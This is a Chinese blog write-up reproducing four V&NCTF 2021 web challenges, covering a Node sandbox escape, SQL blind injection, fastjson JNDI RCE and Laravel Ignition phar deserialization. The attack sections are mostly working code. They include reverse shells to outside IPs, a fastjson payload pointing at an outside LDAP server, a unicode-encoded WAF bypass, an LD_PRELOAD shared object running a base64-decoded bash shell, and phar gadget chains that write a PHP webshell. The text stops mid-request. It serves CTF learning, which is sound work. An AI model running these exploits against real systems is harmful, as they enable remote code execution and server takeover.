web

V&NCTF 2021 web复现

Posted by 1nhann on 2021-05-03
Page views

[toc]

菜鸡复现一下 V&NCTF 2021的 web。。。。。。

0x01 Ez_game

是个游戏

1
通关游戏就有flag哦宝贝们

没什么思路

看看 源码

class ShieldEnemy中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
Kill()
{
super.Kill();

if (this.type)
{
boss = 0;
if (isFinalLevel)
{
// player win
new Pickup(this.pos, 2);
SpawnPickups(this.pos,1,40);
winTimer.Set();
localStorage.kbap_warp=0;
localStorage.kbap_won=1;
speedRunTime=speedRunTime|0;
if (speedRunMode && (!speedRunBestTime || speedRunTime < speedRunBestTime))
{
// track best speed run time
speedRunBestTime = speedRunTime;
localStorage.kbap_bestTime=speedRunBestTime;
}
PlaySound(2);
}
}
}

只要能调用 守卫者的 KILL 函数,就能赢

1
// player win

调用这个函数,可以达到下一级

1
NextLevel();

一直到 level 九,再调用一次就到 finalLevel

image-20210314123955556

调用

1
new ShieldEnemy(playerStartPos.Clone().Add(new Vector2(.5,0)), 1).Kill();

image-20210314124405099

1
flag{this_game_is_funny!}

0x02 naive

image-20210314142558894

一个计算器

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import express from "express";
import bindings from "bindings";
import { fileURLToPath } from 'url'
import path from "path";

import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;

const addon = bindings("addon");

const file = fileURLToPath(import.meta.url);

const app = express();
app.use(express.urlencoded({ extended: true }));

app.use(express.static("static"));

app.use("/eval", (req, res) => {
const e = req.body.e;
const code = req.body.code;
if (!e || !code) {
res.send("wrong?");
return;
}
try {
if (addon.verify(code)) {
res.send(String(eval_(parse(e))));
} else {
res.send("wrong?");
}
} catch (e) {
console.log(e)
res.send("wrong?");
}
});

app.use("/source", (req, res) => {
let p = req.query.path || file;
p = path.resolve(path.dirname(file), p);
if (p.includes("flag")) {
res.send("no flag!");
} else {
res.sendFile(p);
}
});

app.use((err, req, res, next) => {
console.log(err)
res.redirect("index.html");
});

app.listen(process.env.PORT || 80);

是 nodejs 写的

看看 bindings

image-20210314144058758

注意到好像可以调用,C文件中的函数

搜索了一下,用 bindings 好像可以调用 c 的函数,有一个二进制文件放在当前项目中

bindings方法可以寻找每一个可能放有.node 文件的位置,然后返回第一个作为module

去 github 上看看 bindings 找的位置都有哪些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
try: [
// node-gyp's linked version in the "build" dir
['module_root', 'build', 'bindings'],
// node-waf and gyp_addon (a.k.a node-gyp)
['module_root', 'build', 'Debug', 'bindings'],
['module_root', 'build', 'Release', 'bindings'],
// Debug files, for development (legacy behavior, remove for node v0.9)
['module_root', 'out', 'Debug', 'bindings'],
['module_root', 'Debug', 'bindings'],
// Release files, but manually compiled (legacy behavior, remove for node v0.9)
['module_root', 'out', 'Release', 'bindings'],
['module_root', 'Release', 'bindings'],
// Legacy from node-waf, node <= 0.4.x
['module_root', 'build', 'default', 'bindings'],
// Production "Release" buildtype binary (meh...)
['module_root', 'compiled', 'version', 'platform', 'arch', 'bindings'],
// node-qbs builds
['module_root', 'addon-build', 'release', 'install-root', 'bindings'],
['module_root', 'addon-build', 'debug', 'install-root', 'bindings'],
['module_root', 'addon-build', 'default', 'install-root', 'bindings'],
// node-pre-gyp path ./lib/binding/{node_abi}-{platform}-{arch}
['module_root', 'lib', 'binding', 'nodePreGyp', 'bindings']
]
};

有个 /eval 可以用,有个 /souce 可以用

调用 /eval 要先绕过

1
addon.verify(code)

这个verify 函数应该是来自 C ,现在要试试看把 二进制文件找出来,并下载下来

扫一扫

image-20210314152413660

访问了一下 inspector.html ,但是没什么用

这个 /source 可以进行任意文件的读取

找到一个 package.json

1
/source?path=../package.json
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
{
"name": "name",
"version": "0.1.1",
"description": "Description",
"private": true,
"main": "src/index.js",
"type": "module",
"scripts": {
"start": "node src/index.js",
"build:native": "node-gyp rebuild",
"build:native:dev": "node-gyp rebuild --debug"
},
"dependencies": {
"bindings": "^1.5.0",
"express": "^4.17.1",
"expression-eval": "^4.0.0",
"node-addon-api": "^3.0.2",
"seval": "^2.0.1"
},
"devDependencies": {
"@types/express": "^4.17.8",
"@types/node": "^14.10.1",
"node-gyp": "^7.1.2",
"prettier": "^2.0.5"
}
}

可以看到 index.js的位置

1
src/index.js

写个脚本把 addon.node 找出来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import requests
url = "http://a06881da-0aa7-453a-aead-d7e281d44bd6.node3.buuoj.cn/source/"
s = requests.session()

paths = ['../build',
'../build/Debug',
'../build/Release',
'../out/Debug',
'../Debug',
'../out/Release',
'../Release',
'../build/default',
'../compiled/version/platform/arch',
'../addon-build/release/install-root',
'../addon-build/debug/install-root',
'../addon-build/default/install-root',
'../lib/binding/nodePreGyp']

file_name = "addon.node"
for p in paths:
path = p+"/"+file_name
payload = path

data = {"path":payload}
resp = s.get(url=url,params=data)
print(payload,len(resp.content))

image-20210314155937774

1
('../build/Release/addon.node', 58440)

这里面估计就是二进制文件

去下载

看看基本信息

image-20210314160118386

  • 共享对象
  • 64bit

直接 IDA 打开

去找 verify 函数

image-20210314161402361

分析一波

最后 return v2

逆向挺费劲的

看看字符串

image-20210314164621939

看到一个

1
../native/main.cc

下载来看看

但是好像没法下载

1
/source?path=../binding.gyp

找到一个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"targets": [
{
"target_name": "addon",
"sources": ["./native/main.cc"],
"include_dirs": ["<!@(node -p \"require('node-addon-api').include\")"],
"dependencies": ["<!(node -p \"require('node-addon-api').gyp\")"],
"cflags_cc": [
"-std=c++17"
],
"cflags!": ["-fno-exceptions"],
"cflags_cc!": ["-fno-exceptions"],
"defines": ["NAPI_DISABLE_CPP_EXCEPTIONS", "NODE_ADDON_API_DISABLE_DEPRECATED"]
}
]
}

接着逆

找到一个 名为 key 的变量,有一个 key_ptr 指向这个 key

image-20210330203230131

找到一个 cons 函数,对 key 做了一波操作

image-20210331115103143

这个 cons 函数,在 .init_array 这个节中被引用,因而在 共享文件进行动态链接、初始化的时候,就调用 cons 函数

函数中的操作,对 key 进行了一波运算,像极了 SMC

1
2
3
4
5
.data:000000000000D020 key             db 68h, 65h, 69h, 2Ch, 20h, 64h, 6Fh, 20h, 79h, 6Fh, 75h
.data:000000000000D020 ; DATA XREF: LOAD:00000000000009E0↑o
.data:000000000000D020 ; .got:key_ptr↑o
.data:000000000000D020 db 20h, 6Bh, 6Eh, 6Fh, 77h, 20h, 72h, 65h, 76h, 65h, 72h
.data:000000000000D020 db 73h, 65h, 2Ch, 20h, 77h, 65h, 2 dup(62h), 65h, 72h
1
2
3
4
.rodata:000000000000A200 xmmword_A200    xmmword 16301A054102300A0D000A49441A0A11h
.rodata:000000000000A200 ; DATA XREF: cons(void)+8↑r
.rodata:000000000000A210 xmmword_A210 xmmword 4456575B5643151F524203145A03157Fh
.rodata:000000000000A210 ; DATA XREF: cons(void)+2Ar

直接把 key 算出来

写个 idapython 脚本

1
2
3
4
5
6
7
8
9
10
11
12
import idc
data = list(idc.get_bytes(0xD020,32))
a = list(bytes.fromhex("16301A054102300A0D000A49441A0A11"))
a.reverse()
b = list(bytes.fromhex("4456575B5643151F524203145A03157F"))
b.reverse()
l = a + b
r = []
for i in range(32):
r.append(chr(l[i] ^ data[i]))

print("".join(r))
1
yoshino-s_want_a_gf,qq1735439536

猜测这个就是 verify 的 code 了

现在去访问/eval

1
2
3
4
5
import pkg from 'expression-eval';
const { eval: eval_, parse } = pkg;
if (addon.verify(code)) {
res.send(String(eval_(parse(e))));
}

image-20210401202651128

1
code=yoshino-s_want_a_gf,qq1735439536&e=('a').constructor.constructor

image-20210401202946251

根目录 package.json 中

1
"type": "module"

因而没有 module 这个全局对象能调用,自然也就没有 require 能用,process 也没有 mainModule能用

那就用 import

1
code=yoshino-s_want_a_gf,qq1735439536&e=('a').constructor.constructor('return import("child_process").then((cp)=>{cp.execSync("nl /* > static/abcd")})')()

然后用/source

1
http://b736f5ac-777c-4001-85ad-f0ca4a54d8da.node3.buuoj.cn/source/?path=../static/abcd

得到文件

1
2
3
4
5
6
7
8
1	#!/bin/sh
2 echo $FLAG > /flag
3 export FLAG=no_flag
4 FLAG=no_flag

5 cd /app/
6 su ctf -c "yarn start"
7 flag{db48f4ac-da0c-449c-9ffd-f7d60ecd982d}
1
flag{db48f4ac-da0c-449c-9ffd-f7d60ecd982d}

还可以试试看 反弹shell

1
2
3
4
5
6
7
8
9
10
11
import("child_process").then((cp)=>{
import("net").then((net)=>{
sh = cp.spawn("/bin/sh",[]);
s = new net.Socket();
s.connect(12345,'120.0.0.1',()=>{
s.pipe(sh.stdin);
sh.stdout.pipe(s);
sh.stderr.pipe(s);
})
})
});
1
code=yoshino-s_want_a_gf,qq1735439536&e=('a').constructor.constructor('import("child_process").then((cp)=>{import("net").then((net)=>{sh = cp.spawn("/bin/sh",[]);s = new net.Socket();s.connect(12121,"123.111.0.9",()=>{s.pipe(sh.stdin);sh.stdout.pipe(s);sh.stderr.pipe(s);})})});')()

image-20210401222425999

1
flag{db48f4ac-da0c-449c-9ffd-f7d60ecd982d}

0x03 realezjvav

password 是个注入点

image-20210402084436049

应该是过滤了一些关键字

fuzz 一下

跑个脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
import socket
from time import sleep
from urllib.parse import quote_plus
host = "de0c8970-db96-4504-b001-a5122a6209e7.node3.buuoj.cn"
port = 80
result = []
with open("./fuzzdb/sql-injection/key_word.txt","r") as f:
lines = f.readlines()
lines = [i.strip() for i in lines]
for i in lines:
print("[+] "+i)
# payload = "username=admin&password=admin'{}%23".format(quote_plus(i))
payload = "username=admin&password=admin'{}%23".format(i)
go = True
while go:
with socket.socket(socket.AF_INET,socket.SOCK_STREAM) as s:
s.connect((host,port))
data = """POST /user/login HTTP/1.1
Host: de0c8970-db96-4504-b001-a5122a6209e7.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: {}
Origin: http://de0c8970-db96-4504-b001-a5122a6209e7.node3.buuoj.cn
Connection: close
Referer: http://de0c8970-db96-4504-b001-a5122a6209e7.node3.buuoj.cn/
Cookie: UM_distinctid=1787d619cd1b2-029bd90ad07be28-4c3f227c-e1000-1787d619cd236
Upgrade-Insecure-Requests: 1

{}""".format(len(payload),payload)
# print(data)
s.sendall(bytes(data,encoding="utf-8"))
r = s.recv(0x1000)
# print("hacker" in r.decode())
if "HTTP/1.1 429" in r.decode():
sleep(3)
print(r.decode()[:17])
else:
go = False
if "hacker" in r.decode():
print(i,len(r))
result.append(i)

print("[-] done !!!")
print("\n".join(result))

找出被拦截的关键字

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
BENCHMARK
DELETE
DROP
INSERT
INTO
RLIKE
SLEEp
UNION
UNIon
UPDATE
benchmark
declare
delete
drop
execute
insERT
insert
into
pg_sleep
rlike
sleep
union
update
updatexml

不能用 benchmark ,不能用 sleep

所以用 笛卡尔积操作来盲注

写个脚本,跑一跑,看看能不能得到 admin 的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
from time import sleep
from time import time
session = requests.session()
url = "http://de0c8970-db96-4504-b001-a5122a6209e7.node3.buuoj.cn/user/login"
what_i_want = ""
count = 0
for i in range(1,50):
def what_i_want_i_less_than_or_equal_mid(mid):
global count
count += 1
print("on the {}th request now.... ".format(count))
now = time()
payload = "admin'||if((ascii(substr((database()),{},1))<={}),1,(select count(*) from information_schema.collations,information_schema.collations A ,information_schema.plugins , information_schema.plugins B))#".format(i,mid)
data = {"password":payload,"username":"admin"}
resp = session.post(url=url,data=data)
then = time()
print(resp.status_code)
while resp.status_code==429:
print("429 !!! sleep(3)")
sleep(3)
resp = session.post(url=url,data=data)
print(resp.status_code)
if then - now > 3:
return False
return True

print("--"*70)
print("processing the {}th char now.... ".format(i))
low = 32
high = 127
while low < high:
mid = (low + high)>>1
if what_i_want_i_less_than_or_equal_mid(mid):
high = mid
else:
low = mid + 1
print("{}th request completed!!!".format(count))

if low==32:
break
what_i_want+=chr(low)
print(what_i_want)
count = 0

print("!!"*70)
print("This is What You Want!!!!!!!!!!")
print(what_i_want)

database() 是

1
ctf

ctf 中的表名有

1
user

看看 user 中的字段

image-20210402224732436

1
id,username,password,Host,User,Select_priv,Insert

看看 admin 的 password

image-20210402225514340

1
no_0ne_kn0w_th1s

用 admin 登录

看看源码,用了 ajax

image-20210402225828863

1
src="/searchimage?img='+resObj.number +'.png"

这个点可能可以进行目录穿越

跑个脚本,去找 WEB-INF/web.xml

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
url = "http://380ad314-363e-4cfa-b535-868530d6b346.node3.buuoj.cn/Download"
s = requests.session()
file_name = "WEB-INF/web.xml"
method = {0:"get",1:"post"}
m = method[1]
for i in range(10):
payload = "../"*i+file_name
data = {"filename":payload}
resp = s.get(url=url,params=data) if m==method[0] else s.post(url=url,data=data)
print(resp.status_code,len(resp.content),payload)
for i in range(10):
payload = "../"*i+"src/main/webapp/"+file_name
data = {"filename":payload}
resp = s.get(url=url,params=data) if m==method[0] else s.post(url=url,data=data)
print(resp.status_code,len(resp.content),payload)

都没能找到 web.xml,试试看去找 pom.xml

1
2
3
4
5
6
7
8
9
10
11
import requests
url = "http://6eeeb49a-94ad-4707-ad8d-78c0268dbd5c.node3.buuoj.cn/searchimage?img="
s = requests.session()
file_name = "pom.xml"
method = {0:"get",1:"post"}
m = method[0]
for i in range(10):
payload = "../"*i+file_name
# data = {"filename":payload}
resp = s.get(url=url+payload)
print(resp.status_code,len(resp.content),payload)

image-20210402231908559

1
../../../../../pom.xml

下载下来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>2.1.3.RELEASE</version>
<relativePath/> <!-- lookup parent from repository -->
</parent>
<groupId>com.example</groupId>
<artifactId>springbootdemo</artifactId>
<version>0.0.1-SNAPSHOT</version>
<name>springbootdemo</name>
<description>vn&apos;s Demo for Spring Boot</description>
<properties>
<java.version>1.8</java.version>
</properties>

<build>
<plugins>
<plugin>
<groupId>org.mybatis.generator</groupId>
<artifactId>mybatis-generator-maven-plugin</artifactId>
<version>1.3.2</version>
<configuration>
<configurationFile>src/main/resources/generator/generatorConfig.xml</configurationFile>
<overwrite>true</overwrite>
<verbose>true</verbose>
</configuration>
</plugin>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
<executions>
<execution>
<goals>
<goal>repackage</goal>
</goals>
</execution>
</executions>
</plugin>
</plugins>
<resources>
<resource>
<directory>src/main/java</directory>
<includes>
<include>**/*.xml</include>
</includes>
</resource>
<resource>
<directory>src/main/resources</directory>
</resource>

</resources>
</build>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-jdbc</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-thymeleaf</artifactId>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
<dependency>
<groupId>org.mybatis.spring.boot</groupId>
<artifactId>mybatis-spring-boot-starter</artifactId>
<version>2.1.4</version>
</dependency>
<dependency>
<groupId>org.mybatis.generator</groupId>
<artifactId>mybatis-generator-core</artifactId>
<version>1.3.2</version>
</dependency>

<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.27</version>
</dependency>


<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>

</dependencies>

<repositories>
<repository>
<id>nexus-aliyun</id>
<name>nexus-aliyun</name>
<url>http://maven.aliyun.com/nexus/content/groups/public/</url>
<releases>
<enabled>true</enabled>
</releases>
<snapshots>
<enabled>false</enabled>
</snapshots>
</repository>
</repositories>



</project>

用到了 fastjson

1
2
3
4
5
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.27</version>
</dependency>

有 cve 可以利用

1
1.2.47-rce

去找找看能否控制 被 fastjson 处理的 json

登录之后,有个创建角色的选项

会post 一些东西

1
roleJson=%7B%22name%22%3A%22Hermione_Granger%22%7D

这个东西乍一看看不出来什么

urldecode 之后

1
roleJson={"name":"Hermione_Granger"}

可以看到上传了 json

直接起一个 恶意的 ldap ,直接发上去 payload

1
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://120.77.39.216:9999/ReverseShell","autoCommit":true}}

image-20210412220634836

直接打的话,会被拦截,即在fastjson 处理 字符串之前,检测到 postdata 中的不良字符

直接把 “” 中的内容都换成 unicode 编码

1
{"a":{"\u0064\u00116\u00121\u00112\u00101":"\u00106\u0097\u00118\u0097\u0046\u00108\u0097\u00110\u00103\u0046\u0067\u00108\u0097\u00115\u00115","val":"\u0099\u00111\u00109\u0046\u00115\u00117\u00110\u0046\u00114\u00111\u00119\u00115\u00101\u00116\u0046\u0074\u00100\u0098\u0099\u0082\u00111\u00119\u0083\u00101\u00116\u0073\u00109\u00112\u00108"},"b":{"\u0064\u00116\u00121\u00112\u00101":"\u0099\u00111\u00109\u0046\u00115\u00117\u00110\u0046\u00114\u00111\u00119\u00115\u00101\u00116\u0046\u0074\u00100\u0098\u0099\u0082\u00111\u00119\u0083\u00101\u00116\u0073\u00109\u00112\u00108","\u00100\u0097\u00116\u0097\u0083\u00111\u00117\u00114\u0099\u00101\u0078\u0097\u00109\u00101":"\u00108\u00100\u0097\u00112\u0058\u0047\u0047\u0049\u0050\u0048\u0046\u0055\u0055\u0046\u0051\u0057\u0046\u0050\u0049\u0054\u0058\u0057\u0057\u0057\u0057\u0047\u0082\u00101\u00118\u00101\u00114\u00115\u00101\u0083\u00104\u00101\u00108\u00108","\u0097\u00117\u00116\u00111\u0067\u00111\u00109\u00109\u00105\u00116t":true}}

以上是要写入 http 报文的内容

反弹shell

image-20210412235940710

得到 flag

1
flag{46e9fadf-09c0-4257-8bf0-f418d5b80315}

0x04 Easy_laravel

搜集一波信息

扫一扫目录

1
2
3
[21:01:46] 200 -    1KB - /web.config
[21:01:47] 200 - 17KB - /index.php
[21:01:46] 200 - 24B - /robots.txt

很明显,开了 debug 模式

给了源码,看看

image-20210425212609607

1
2
"name": "facade/ignition",
"version": "2.5.1",

因而就是 debug mode rce 了

image-20210425211423120

果然,run 函数还是能恶意利用 file_get_contents 和 file_put_contents

看看 phpggc

1
2
3
4
5
6
7
8
9
10
11
12
13
$ ./phpggc Laravel -l

Gadget Chains
-------------

NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE2 5.5.39 RCE (Function call) __destruct
Laravel/RCE3 5.5.39 RCE (Function call) __destruct *
Laravel/RCE4 5.5.39 RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *

不过都试了试,好像没什么用,那就只能自己挖个 rce 了

image-20210425215901517

找到一个 ,也许能直接 rce

写个 poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
namespace Illuminate\Bus{
class Dispatcher{
protected $container;
protected $pipeline;
protected $pipes = [];
protected $handlers = [];
protected $queueResolver;
function __construct()
{
$this->queueResolver = "phpinfo";

}
}
}

namespace Illuminate\Broadcasting{
class BroadcastEvent{
function __construct()
{

}
}
class PendingBroadcast{
protected $events;
protected $event;
function __construct()
{
$this->event = new BroadcastEvent();
$this->event->connection = -1;
$this->events = new \Illuminate\Bus\Dispatcher();
}
}
}
namespace{
$a = new \Illuminate\Broadcasting\PendingBroadcast();
@unlink("system.phar");
$phar = new Phar("system.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system("xxd system.phar");
}
?>

image-20210425222104446

尝试读写 log ,但是碰壁了

image-20210425223435429

看看项目,有个 start.sh

1
2
chmod -R 777 /var/www/html/storage/framework/sessions
chmod -R 777 /var/www/html/storage/logs

所以改一改 log 的位置,再试一次

果然可以

image-20210425232651825

去看看 disable_function

image-20210425232900903

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
pcntl_alarm
pcntl_fork
pcntl_waitpid
pcntl_wait
pcntl_wifexited
pcntl_wifstopped
pcntl_wifsignaled
pcntl_wifcontinued
pcntl_wexitstatus
pcntl_wtermsig
pcntl_wstopsig
pcntl_signal
pcntl_signal_get_handler
pcntl_signal_dispatch
pcntl_get_last_error
pcntl_strerror
pcntl_sigprocmask
pcntl_sigwaitinfo
pcntl_sigtimedwait
pcntl_exec
pcntl_getpriority
pcntl_setpriority
pcntl_async_signals
iconv
system
exec
shell_exec
popen
proc_open
passthru
symlink
link
syslog
imap_open
dl
mail
error_log
debug_backtrace
debug_print_backtrace
gc_collect_cycles
iconv
iconv_strlen

看看 open_basedir

1
/var/www/html/:/tmp/

没什么能用的函数,那就只能换个链,去找找 file_put_contents ,或者 eval

发现 file_put_contents 和 eval 都大量出现了,因而 从 __destruct 出发去找 链 可能和 从 eval 或者 file_put_contents 出发逆推出链差不多难度

接着找,要有能利用 eval 或者 file_put_contents 那种链

image-20210502165351434

全部过了一遍,没有恶意的函数能用,那就去看看有没有 恶意的 __call 函数能用

找到一个

image-20210426163926628

能用 file_put_contents

写个 poc ,目的是写入 恶意的 .so 文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#define _GNU_SOURCE

#include <stdlib.h>
#include <stdio.h>
#include <string.h>


extern char** environ;

__attribute__ ((__constructor__)) void preload (void)
{
const char* cmdline = "echo YmFzaCAtaEyMzIDA+JjEK | base64 -d | bash";
// executive command
system(cmdline);
}
1
gcc -shared -fPIC reverse_shell.c -o reverse_shell.so
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace Faker{
class Generator{
protected $providers = [];
protected $formatters = [];
function __construct()
{
$formatter = "register";
$this->formatters[$formatter] = "file_put_contents";
}
}
}
namespace Illuminate\Routing{
class PendingResourceRegistration{
protected $registrar;
protected $name;
protected $controller;
protected $options = [];
protected $registered = false;
function __construct()
{
$this->registrar = new \Faker\Generator();
$this->name = "/var/www/html/evil.so";
$this->controller = file_get_contents("DL_PRELOAD_bypass/reverse_shell.so");
$this->options = 8;
}
}
}

namespace{
$a = new \Illuminate\Routing\PendingResourceRegistration();
@unlink("file_put.phar");
$phar = new Phar("file_put.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system("xxd file_put.phar");
}
?>

最后生成 file_put.phar

image-20210427090540608

去生成 payload

1
2
3
4
5
6
7
8
9
10
11
import base64
f_path = "file_put.phar"
with open(f_path,"br") as f:
c = f.read()
s = base64.b64encode(c)
r = []
for i in s:
r.append("="+str(hex(i)[2:])+"=00")
print(len(c))
with open("payload.txt","w") as f:
f.write("".join(r).upper())

生成 payload,长度为 16647

image-20210427090932746

然后去上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php/_ignition/execute-solution HTTP/1.1
Host: f5cf27fb-122e-4cb4-a348-11a58a822ad9.node3.buuoj.cn
Content-Length: 346
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://f5cf27fb-122e-4cb4-a348-11a58a822ad9.node3.buuoj.cn
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://f5cf27fb-122e-4cb4-a348-11a58a822ad9.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7
Cookie: UM_distinctid=175c97abe897f-0435c7e3b4956d-3f6b4b05-e1000-175c97abe8a9a
Connection: close

{"solution":"Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution","parameters":{"variableName":"username","viewFile":"php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"},"vqwj9e726bd":"=","xgcrzhwo8x":"="}
1
"viewFile": "AA"
1
"viewFile": "PAYLOAD"
1
"viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf16le.utf-8|convert.base64-decode/resource=/var/www/html/storage/logs/laravel.log"
1
phar:///var/www/html/storage/logs/laravel.log

结果发现不行

仔细审计后,发现Generator 类有一个 __wakeup 方法

1
2
3
4
public function __wakeup()
{
$this->formatters = [];
}

如此一来 任何对 formatters 的赋值都没用了

只能找别的方法了。。。。。。

试试看用 GuzzleHttp\Cookie\FileCookieJar 写 webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

namespace GuzzleHttp\Cookie{
class SetCookie
{
private static $defaults = [
'Name' => null,
'Value' => null,
'Domain' => null,
'Path' => '/',
'Max-Age' => null,
'Expires' => null,
'Secure' => false,
'Discard' => false,
'HttpOnly' => false
];
function __construct()
{
$this->data['Discard'] = 0;
$this->data['shell'] = '<?php highlight_file(__FILE__);echo `$_GET[0]`;?>';
$this->data['Expires'] = 1;
print_r("3333");
}
}
class CookieJar{
private $cookies = [];
private $strictMode;
function __construct()
{
$this->cookies[] = new SetCookie();
print_r("2222");
}
}
class FileCookieJar extends CookieJar{
private $filename;
private $storeSessionCookies;
function __construct()
{
parent::__construct();
$this->filename = "shell.php";
$this->storeSessionCookies = true;
print_r("1111");
}
}
}
namespace{
$a = new \GuzzleHttp\Cookie\FileCookieJar();
@unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
system("xxd test.phar");
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
POST /index.php/_ignition/execute-solution HTTP/1.1
Host: 38b82e95-2f05-4085-a90a-9b3ad92905a7.node3.buuoj.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: UM_distinctid=178c47882931c-03d45df0858cdb8-4c3f227c-e1000-178c478829517e
Upgrade-Insecure-Requests: 1
Content-Type: application/json
Content-Length: 344

